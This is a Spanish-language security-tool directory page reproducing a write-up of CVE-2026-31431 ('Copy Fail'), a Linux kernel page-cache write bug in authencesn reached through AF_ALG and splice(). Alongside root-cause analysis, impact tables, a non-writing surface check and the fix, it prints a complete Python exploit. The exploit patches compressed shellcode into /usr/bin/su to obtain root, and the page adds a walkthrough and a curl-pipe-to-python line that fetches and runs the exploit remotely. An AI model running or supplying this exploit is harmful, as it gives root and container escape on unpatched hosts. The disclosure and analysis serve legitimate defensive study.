Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-31431 — Una explicación estructurada de CVE-2026-31431 (Copy Fail), que conecta los tres cambios del kernel que introdujeron la vulnerabilidad y permitieron su explotación. | Kitploit
Herramientas/GitHubGitHub/themalwareguardian/cve-2026-31431
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPapers e InvestigaciónAprendizaje y EducaciónEscape de ContenedoresExplotación de Binarios
GitHubthemalwareguardian/cve-2026-31431

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-31431

Una explicación estructurada de CVE-2026-31431 (Copy Fail), que conecta los tres cambios del kernel que introdujeron la vulnerabilidad y permitieron su explotación.

Ver Repositorio
25hace 4 mesesAún no revisado

🐞 CVE-2026-31431 - Copy Fail



Un fallo lógico en authencesn encadenado a través de AF_ALG y splice() hasta una escritura controlada de 4 bytes en el page cache de cualquier archivo legible del sistema. Sin condición de carrera, sin offsets, sin payload compilado. El mismo script de 732 bytes obtiene root en todas las distribuciones de Linux desde 2017.




📑 Tabla de contenido

  • Descripción general
  • Análisis de la causa raíz
    📂
    • La primitiva AF_ALG + splice()
    • La optimización in-place de 2017
    • La escritura fuera de límites en authencesn
    • Tres cambios inofensivos → un fallo crítico
    • Recorriendo el scatterlist hasta las páginas de page cache

  • Impacto
  • Distribuciones afectadas
  • Verificación: ¿Estoy afectado?

  • Exploit
  • Guía del exploit
    📂
    • Paso 1 - Configuración del socket
    • Paso 2 - Construir la escritura
    • Paso 3 - Disparar la escritura en page cache
    • Paso 4 - Ejecutar

  • Comparación con Dirty Cow / Dirty Pipe

  • La solución
  • Divulgación
  • Referencias



🔍 Descripción general

CVE-2026-31431 - Copy Fail es un fallo lógico en la plantilla criptográfica authencesn del kernel de Linux. Permite a un usuario local sin privilegios realizar una escritura controlada de 4 bytes en el page cache de cualquier archivo legible del sistema, sin modificar el archivo en disco.

El fallo no existe en ninguno de los tres componentes individualmente. Surge de su interacción:``` 2011 ────────────────────────────────────────────────────────────────────── - authencesn added to the kernel (a5079d084f8b). - Uses the caller's destination scatterlist as scratch space. - Reorder ESN bytes before HMAC computation. - Only caller: internal xfrm layer. Harmless.

2015 ────────────────────────────────────────────────────────────────────── - algif_aead.c gains AEAD support with splice() path (104880a6b470). - splice() can deliver page cache pages to the TX scatterlist. - AF_ALG uses out-of-place operation: req->src != req->dst. - Page cache pages remain read-only. Not exploitable.

2017 ────────────────────────────────────────────────────────────────────── - In-place optimization in algif_aead.c (72548b093ee3). - Copies AAD+CT to RX buffer but chains authentication tag pages via sg_chain(). - Sets req->src = req->dst. - Page cache pages now reside in WRITABLE dst. - authencesn writes past boundary → page cache corruption.

2026 ────────────────────────────────────────────────────────────────────── - Copy Fail - CVE-2026-31431. Discovered by Theori / Xint Code. - Exploitable across all distros since 2017.

root@kitploit:~
---
---
---



<div id='root-cause'/>

## ***🧬 Análisis de causa raíz***

<div id='primitive'/>

### ***La primitiva AF_ALG + splice()***

AF_ALG (*[AF_ALG = 38](https://docs.kernel.org/crypto/userspace-if.html#user-space-api-general-remarks)*) es un tipo de socket que expone la API criptográfica del kernel al espacio de usuario no privilegiado. Un proceso no privilegiado puede:

1. Abrir un socket AF_ALG / SOCK_SEQPACKET.
2. Hacer bind() a cualquier plantilla AEAD disponible expuesta por la API criptográfica del kernel.
3. Establecer una clave criptográfica mediante setsockopt(SOL_ALG, ALG_SET_KEY, ...) en el algoritmo configurado.
4. Llamar a accept() para obtener un socket de operación dedicado que manejará las solicitudes de cifrado y descifrado
5. Enviar datos especialmente diseñados mediante sendmsg() y recibir el resultado procesado a través de recvmsg(), interactuando plenamente con el subsistema criptográfico del kernel.

Está habilitado por defecto en la configuración del kernel de todas las distribuciones principales (CONFIG_CRYPTO_USER_API_AEAD=y).

**[splice(2)](https://man7.org/linux/man-pages/man2/splice.2.html)** transfiere datos entre descriptores de archivo sin copiarlos - pasa referencias a páginas, no copias. El flujo relevante:```
open("/usr/bin/su")   ->  fd_file
pipe()                ->  pipe_rd, pipe_wr

# moves N bytes from the file into the pipe
# the pipe buffer now contains a reference to the same physical page in the page cache
splice(fd_file, pipe_wr, N)

# delivers that reference to the AF_ALG socket
# the TX scatterlist of algif_aead now points to the page cache page of /usr/bin/su
splice(pipe_rd, alg_fd, N)
Descargar herramienta

La scatterlist TX del socket AF_ALG contiene referencias directas a las mismas páginas físicas usadas por el kernel para cada read(), mmap() y execve() del archivo. No se realiza ninguna copia.


La optimización in-place de 2017

Commit 72548b093ee3, algif_aead.c. Para el descifrado, la implementación:

  1. Copia el AAD y el texto cifrado del TX SGL (origen) al búfer RX (destino) - una copia real.
  2. Encadena las páginas de la etiqueta de autenticación mediante sg_chain(), manteniendo las referencias de la caché de páginas en el RX SGL.
  3. Establece req->src = req->dst, apuntando ambos al RX SGL combinado.``` TX SGL (input from splice): [ page cache page: AAD || CT || Tag ]

In-place operation: RX SGL (req->dst): [ user buffer: AAD (copy) || CT (copy) ] --sg_chain--> [ Tag (page cache pages) ] req->src = req->dst = RX SGL

Result: page cache pages from /usr/bin/su are now part of the WRITABLE scatterlist passed to the crypto algorithm.

root@kitploit:~
<div id='authencesn'/>

### ***La escritura fuera de límites en authencesn***

authencesn es el envoltorio AEAD del kernel utilizado por IPsec con Números de Secuencia Extendidos (RFC 4303). IPsec utiliza números de secuencia de 64 bits:

- seqno_hi - 32 bits superiores (bytes 0-3 del AAD)
- seqno_lo - 32 bits inferiores (bytes 4-7 del AAD)

Solo seqno_lo se transmite por el cable; seqno_hi es contexto implícito. Para el cálculo de HMAC, authencesn necesita reordenar estos bytes: seqno_hi al principio y seqno_lo al final de la entrada del hash.

Realiza este reordenamiento utilizando la scatterlist de destino del llamador como espacio temporal:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */

// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);

// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);

// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

La llamada [3] escribe 4 bytes en dst[assoclen + cryptlen]. El contrato de salida de la API AEAD para descifrado es AAD || plaintext - exactamente assoclen + (cryptlen - authsize) bytes. assoclen + cryptlen queda más allá de la etiqueta de autenticación. authencesn escribe en memoria que no le pertenece.

crypto_authenc_esn_decrypt_tail() vuelve a leer seqno_lo para reconstruir el AAD correcto, pero nunca restaura los bytes originales en dst[assoclen + cryptlen]. La sobrescritura es permanente, independientemente de si la comprobación HMAC tiene éxito o falla.

Ningún otro algoritmo AEAD estándar del kernel se comporta de esta manera. GCM, CCM y el authenc estándar confinan estrictamente sus escrituras a la región de salida legítima.


Tres cambios inofensivos → un fallo crítico

En la ruta in-place posterior a 2017 de algif_aead, el scatterlist que se pasa como req->dst a authencesn tiene la siguiente estructura:``` req->dst: [ RX buffer (user memory) ] [ Tag region (page cache pages) ] [ AAD (copy) || CT (copy) ] [ from /usr/bin/su ] [<---- assoclen + cryptlen bytes --->] [<--- sg_chain from TX SGL ---->] ^ authencesn writes here: dst[assoclen + cryptlen] = seqno_lo (4 bytes controlled by the attacker)

root@kitploit:~
scatterwalk_map_and_copy no tiene noción de propiedad de página; simplemente mapea la página a la que apunta el scatterlist mediante kmap_local_page y escribe en ella. Con páginas de page cache presentes en req->dst, termina mapeando la página en caché de "/usr/bin/su" y escribiendo seqno_lo directamente en la copia en memoria del kernel del archivo.

El HMAC se calcula sobre los bytes reordenados y falla (el texto cifrado está controlado por el atacante). recvmsg() devuelve un error. La escritura de 4 bytes en la page cache persiste.

---

<div id='scatterlist'/>

### ***Recorriendo el scatterlist hacia las páginas de page cache***```c
struct scatterlist {
	unsigned long   page_link;   // physical page + flags (SG_END, SG_CHAIN)
	unsigned int    offset;      // offset within the page
	unsigned int    length;      // bytes in this entry
};

// sg_chain(sgl_a, nents_a, sgl_b):
//   sgl_a[nents_a-1].page_link |= SG_CHAIN;
//   sgl_a[nents_a-1].page_link  = (unsigned long)sgl_b;
//   the last entry of sgl_a now points to the beginning of sgl_b
RX SGL (req->dst) after in-place construction:

entry[0]: page=user_buf_page, offset=0,        length=assoclen      (AAD copied)
entry[1]: page=user_buf_page, offset=assoclen, length=cryptlen-4    (CT copied)
entry[2]: SG_CHAIN -> TX SGL entry[2]
                        |
                        v
                    page = page_cache_page_of_/usr/bin/su
                    offset = <tag offset within the file>
                    length = authsize (= 4)

scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1):
offset_within_sgl = assoclen + cryptlen
-> walks past entry[0] (assoclen bytes)
-> walks past entry[1] (cryptlen-authsize bytes)
-> reaches entry[2]: offset_within_entry = 0
-> kmap_local_page(page_cache_page_of_su)
-> memcpy(mapped_page + page_offset, tmp+1, 4)  <- WRITE INTO PAGE CACHE
-> kunmap_local(mapped_page)

The page is never marked dirty (SetPageDirty / mark_page_accessed are not invoked in this path). The kernel writeback mechanism does not flush it to disk. The file on disk remains unchanged.




💥 Impacto

The controlled 4-byte write primitive into the page cache turns into a full local privilege escalation (LPE):

  • The attacker controls which file (any readable file, including setuid binaries).
  • The attacker controls which offset within the file (via assoclen, splice offset, and splice length).
  • The attacker controls what value (the 4 bytes are seqno_lo, crafted by the attacker in sendmsg()).

By iterating the write 4 bytes at a time, the attacker can patch shellcode into the .text section of a setuid binary in the page cache. execve() loads from the page cache, so the corrupted binary executes with UID 0.

The page cache is shared across the entire host, including all containers. Copy Fail is not just a local LPE, it is a container escape primitive and a Kubernetes node compromise vector.

EnvironmentRiskOutcome
Hosts Linux multi-tenantCríticoCualquier usuario → root
Kubernetes / contenedoresCríticoPod → host, entre inquilinos
Ejecutores de CI (PRs no confiables)CríticoPR → root en el runner
SaaS en la nube que ejecuta código de usuarioCríticoInquilino → root del host
Servidores de un solo inquilinoAltoLPE interno; encadenar con RCE web
Estaciones de trabajo de un solo usuarioMedioEscalada de privilegios post-explotación

🎯 Distribuciones Afectadas

Cualquier sistema Linux que ejecute un kernel compilado entre 2017 y el parche, con AF_ALG habilitado en la configuración predeterminada, lo que incluye efectivamente a todas las distribuciones principales.

Verificado directamente por Theori / Xint:

DistribuciónKernel
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

Otras distribuciones que ejecutan kernels afectados (Debian, Arch, Fedora, Rocky, Alma, Oracle, dispositivos embebidos) se comportan de manera idéntica; el error reside en el subsistema criptográfico compartido, no en ningún parche específico de la distribución.

Requisitos de explotación:

  • Cuenta de usuario local sin privilegios.
  • AF_ALG disponible (habilitado por defecto en todas las distribuciones principales).
  • splice(2) disponible (disponible universalmente).
  • Python 3.10+ para os.splice, o acceso a syscalls sin procesar desde cualquier lenguaje.
  • No se requieren funciones de depuración del kernel, ni capacidades especiales, ni primitivas preexistentes.

🔎 Verificación - ¿Estoy Afectado?

1. Comprobar la versión del kernel```bash

uname -r

root@kitploit:~
Si el kernel se compiló entre 2017 y el parche (commit a664bf3d603d), el sistema está potencialmente afectado. Verifique si el parche está presente:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image

# RHEL / Fedora / Amazon Linux
rpm -q kernel

# SUSE
zypper se -s kernel-default

2. Comprueba si AF_ALG está disponible```bash

python3 -c " import socket try: s = socket.socket(38, 5, 0) s.close() print('[+] AF_ALG available - system potentially affected') except Exception as e: print(f'[-] AF_ALG not available: {e}') "

root@kitploit:~
### ***3. Comprueba si algif_aead está cargado***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"

4. Script de verificación de la superficie de ataque

El siguiente script comprueba si la ruta vulnerable es alcanzable. No realiza ninguna escritura, solo verifica la disponibilidad de la superficie de ataque:```python #!/usr/bin/env python3 """ Copy Fail (CVE-2026-31431) - Attack surface verification. Does not perform any writes. Only checks whether the vulnerable path is available. """ import socket import sys

def check_surface(): results = {}

root@kitploit:~
# 1. Check if AF_ALG socket is available
try:
	# AF_ALG, SOCK_SEQPACKET
	s = socket.socket(38, 5, 0)
	results['af_alg_socket'] = True
	# 2. Try binding to authencesn (the vulnerable algorithm)
	try:
		s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
		results['authencesn_available'] = True
	except OSError as e:
		results['authencesn_available'] = False
		results['authencesn_error'] = str(e)
	s.close()
except OSError as e:
	results['af_alg_socket'] = False
	results['af_alg_error'] = str(e)

# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')

print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
	marker = '[+]' if v is True else '[-]' if v is False else '[i]'
	print(f"  {marker} {k}: {v}")

if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
	print("\n  [!] SURFACE AVAILABLE - system exposes the full attack surface.")
	print("      Verify whether the kernel includes patch a664bf3d603d.")
else:
	print("\n  [OK] Surface mitigated or not available.")

if name == "main": check_surface()

root@kitploit:~
---

<div id='exploit'/>

## ***💣 Exploit***

Este exploit fue publicado originalmente por Theori / Xint Code junto con la divulgación pública del 29 de abril de 2026.

- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **Repositorio oficial:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **Requisitos:** Python 3.10+, kernel afectado, AF_ALG habilitado.```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.

import os as g, zlib, socket as s

def d(x):
	return bytes.fromhex(x)

def c(f, t, c):
	# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
	a = s.socket(38, 5, 0)                             # AF_ALG, SOCK_SEQPACKET
	a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
	h = 279                                            # SOL_ALG
	v = a.setsockopt
	v(h, 1, d('0800010000000010' + '0' * 64))          # ALG_SET_KEY
	v(h, 5, None, 4)                                   # ALG_SET_AUTHSIZE = 4
	u, _ = a.accept()
	o = t + 4
	i = d('00')

	# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
	# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
	u.sendmsg(
		[b"A" * 4 + c],                      # AAD: seqno_hi=0x41414141, seqno_lo=payload
		[
			(h, 3, i * 4),                   # ALG_SET_IV
			(h, 2, b'\x10' + i * 19),        # ALG_SET_OP=DECRYPT + params
			(h, 4, b'\x08' + i * 3),         # ALG_SET_AEAD_AUTHSIZE
		],
		32768                                # MSG_SENDPAGE_NOTLAST
	)

	# splice: delivers page cache pages from the target file into the AF_ALG socket
	# The TX SGL of the socket will point directly to page cache pages
	r, w = g.pipe()
	n = g.splice
	n(f, w, o, offset_src=0)   # file -> pipe (reference to page cache page)
	n(r, u.fileno(), o)        # pipe -> AF_ALG socket (TX SGL points to page cache)

	# recv: triggers decrypt in the kernel
	# authencesn performs the scratch write -> 4 bytes written into the page cache
	# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
	try:
		u.recv(8 + t)
	except:
		0

# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)

# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
	"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
	"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
	"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))

# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
	c(f, i, e[i:i+4])
	i += 4

# Execute the patched binary in memory - runs as UID 0
g.system("su")

Ejecución```bash

Direct download and execution (Theori method)

curl https://copy.fail/exp | python3

Local execution

python3 copy_fail_exp.py

With an alternative target binary (any readable setuid-root binary)

python3 copy_fail_exp.py /usr/bin/passwd

Verify result

id

uid=0(root) gid=1002(user) groups=1002(user)

root@kitploit:~
---
---
---



<div id='walkthrough'/>

## ***🔬 Guía del Exploit***

<div id='step1'/>

### ***Paso 1 - Configuración del Socket***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

El template authencesn es seleccionado: el único algoritmo AEAD en el kernel que escribe fuera de su región de salida legítima. Esta elección es deliberada: GCM, CCM y authenc estándar no disparan el bug.```python a.setsockopt(SOL_ALG, ALG_SET_KEY, key) # arbitrary 32-byte key a.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, 4) # authsize = 4 bytes u, _ = a.accept() # operation socket

root@kitploit:~
ALG_SET_AUTHSIZE = 4 establece el tamaño de la etiqueta de autenticación. Este valor controla directamente dónde aterriza `dst[assoclen + cryptlen]` en relación con la región de la etiqueta en el scatterlist y, por lo tanto, qué desplazamiento dentro de la página de la caché de páginas se sobrescribe.

<div id='step2'/>

### ***Paso 2 - Construir la escritura***

Para cada fragmento de 4 bytes de la carga útil:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes

u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)

Los bytes 4-7 de la AAD (seqno_lo) son exactamente los 4 bytes que authencesn escribe en dst[assoclen + cryptlen]. El atacante los fabrica con el valor de payload deseado.

El offset del archivo se controla mediante los parámetros de splice:```python

t = target offset within the file

o = t + 4 = splice length (ensures the tag region lands at the correct offset)

o = t + 4 r, w = os.pipe() os.splice(target_fd, pipe_wr, o, offset_src=0) # offset_src=0, length=o os.splice(pipe_rd, alg_fd, o)

root@kitploit:~
<div id='step3'/>

### ***Paso 3 - Activar la Escritura de la Caché de Páginas***```python
try:
	u.recv(8 + t)
except:
	pass   # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.

The recv() call triggers the decrypt operation inside the kernel. The recvmsg() error is expected and irrelevant. The page cache write has already occurred.

Paso 4 - Ejecutar

Después de iterar sobre todos los fragmentos de payload:``` os.system("su")

root@kitploit:~
execve("/usr/bin/su"):

1. El kernel carga el binario desde la caché de páginas.
2. La página en caché contiene el shellcode inyectado (el archivo en disco no se modifica).
3. /usr/bin/su es setuid-root: el proceso comienza con UID efectivo 0.
4. El shellcode lanza una shell root.```
$ python3 copy_fail_exp.py
# id
uid=0(root) gid=1002(xint) groups=1002(xint)



⚖️ Comparación con Dirty Cow / Dirty Pipe

Los tres pertenecen a la misma clase de ataque: escribir en la caché de páginas desde el espacio de usuario no privilegiado, sin modificar el archivo en disco, para obtener privilegios mediante un binario setuid. Sus mecanismos y limitaciones difieren significativamente.

  • CVE-2016-5195 - Dirty Cow

    Condición de carrera en la ruta de copia en escritura (COW) del subsistema de VM. Requería ganar una ventana TOCTOU, múltiples intentos, fiabilidad variable, caídas ocasionales. Kernels 2.6.22 a 4.8.3.

  • CVE-2022-0847 - Dirty Pipe

    Abuso de la bandera PIPE_BUF_FLAG_CAN_MERGE en los búferes de pipe para fusionar datos controlados por el atacante en la caché de páginas. Determinista, pero específico de la versión (kernel ≥ 5.8 con parches concretos).

  • CVE-2026-31431 - Copy Fail

    Fallo de lógica directa. Sin condición de carrera, sin offsets por distribución, sin payload compilado. Un script de Python de 732 bytes que usa solo la biblioteca estándar obtiene root en todas las distribuciones principales desde 2017 hasta 2026.

  • Dirty CowDirty PipeCopy Fail
    MecanismoCondición de carrera (COW)Abuso de la bandera de pipeLógica AEAD + scatterlist
    Requiere condición de carreraSíNoNo
    Fiabilidad30-80%Alta100%, un solo intento
    Rango de kernel2.6.22-4.8.3≥5.8 (específico)2017-2026 (~9 años)
    Offsets por distribuciónSíAlgunosNo
    Payload compiladoSíNoNo
    Escape de contenedorNoNoSí



    🩹 La solución

    El commit principal a664bf3d603d corrige 72548b093ee3 (la optimización in-place de 2017)

    El parche revierte algif_aead.c a la operación out-of-place. req->src y req->dst vuelven a ser scatterlists separados. Las páginas de la caché de páginas entregadas mediante splice() permanecen en el SGL TX de solo lectura (req->src). El búfer RX - la única memoria en la que el algoritmo criptográfico puede escribir - es el búfer recvmsg del usuario (req->dst). Se elimina el mecanismo sg_chain() que anteriormente encadenaba páginas de tag (caché de páginas) en el destino escribible.```c /* BEFORE (vulnerable) - req->src = req->dst, page cache pages in dst / aead_request_set_crypt(&areq->cra_u.aead_req, areq->first_rsgl.sgl.sgt.sgl, / RX SGL as src / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (same!) */ used, ctx->iv);

    /* AFTER (fix) - separate scatterlists / aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, / TX SGL as src (may contain page cache pages) / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (user buffer only) */ used, ctx->iv);

    root@kitploit:~
    El mensaje del commit dice: "No hay beneficio en operar in-place en algif_aead, ya que el origen y el destino provienen de mapeos diferentes."
    
    
    
    ---
    ---
    ---
    
    
    
    <div id='timeline'/>
    
    ## ***📅 Cronología de divulgación***
    
    | Fecha       | Evento                                                    |
    |------------|----------------------------------------------------------|
    | 2026-03-23 | Vulnerabilidad reportada al equipo de seguridad del kernel de Linux |
    | 2026-03-24 | Acuse de recibo inicial recibido                          |
    | 2026-03-25 | Parches propuestos y revisados                            |
    | 2026-04-01 | Parche enviado a mainline (a664bf3d603d)                  |
    | 2026-04-22 | CVE-2026-31431 asignado                                   |
    | 2026-04-29 | Divulgación pública, [copy.fail](https://copy.fail/)      |
    
    **Descubierto por:** Taeyang Lee en [Theori](https://theori.io/) / [Xint Code](https://xint.io/)
    
    
    
    ---
    ---
    ---
    
    
    
    <div id='references'/>
    
    ## ***📚 Referencias***
    
    - **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
    	> Entrada en la Base de Datos Nacional de Vulnerabilidades.
    
    - **[Copy Fail - Divulgación oficial](https://copy.fail/)**
    	> Página de inicio con preguntas frecuentes, distribuciones afectadas, mitigación y PoC.
    
    - **[Blog de Theori / Xint - Análisis completo](https://xint.io/blog/copy-fail-linux-distributions)**
    	> Causa raíz, diagramas de scatterlist, cadena histórica (2011→2015→2017) y recorrido del exploit.
    
    - **[Theori GitHub - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
    	> Repositorio oficial que contiene el PoC.
    
    - **[Commit a664bf3d603d - fix](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
    	> Revierte la optimización in-place de algif_aead.
    
    - **[Commit 72548b093ee3 - causa raíz (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
    	> Introduce la optimización in-place que colocaba las páginas de la caché de páginas en el destino escribible.
    
    - **[Commit a5079d084f8b - authencesn introducido (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
    	> Commit original que añade authencesn y establece el patrón de escritura scratch.
    
    - **[Commit 104880a6b470 - authencesn migrado a la API AEAD (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
    	> Introduce el desplazamiento assoclen + cryptlen que escribe fuera de la región legítima.
    
    - **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
    	> Arte previo en la clase de corrupción de caché de páginas / LPE.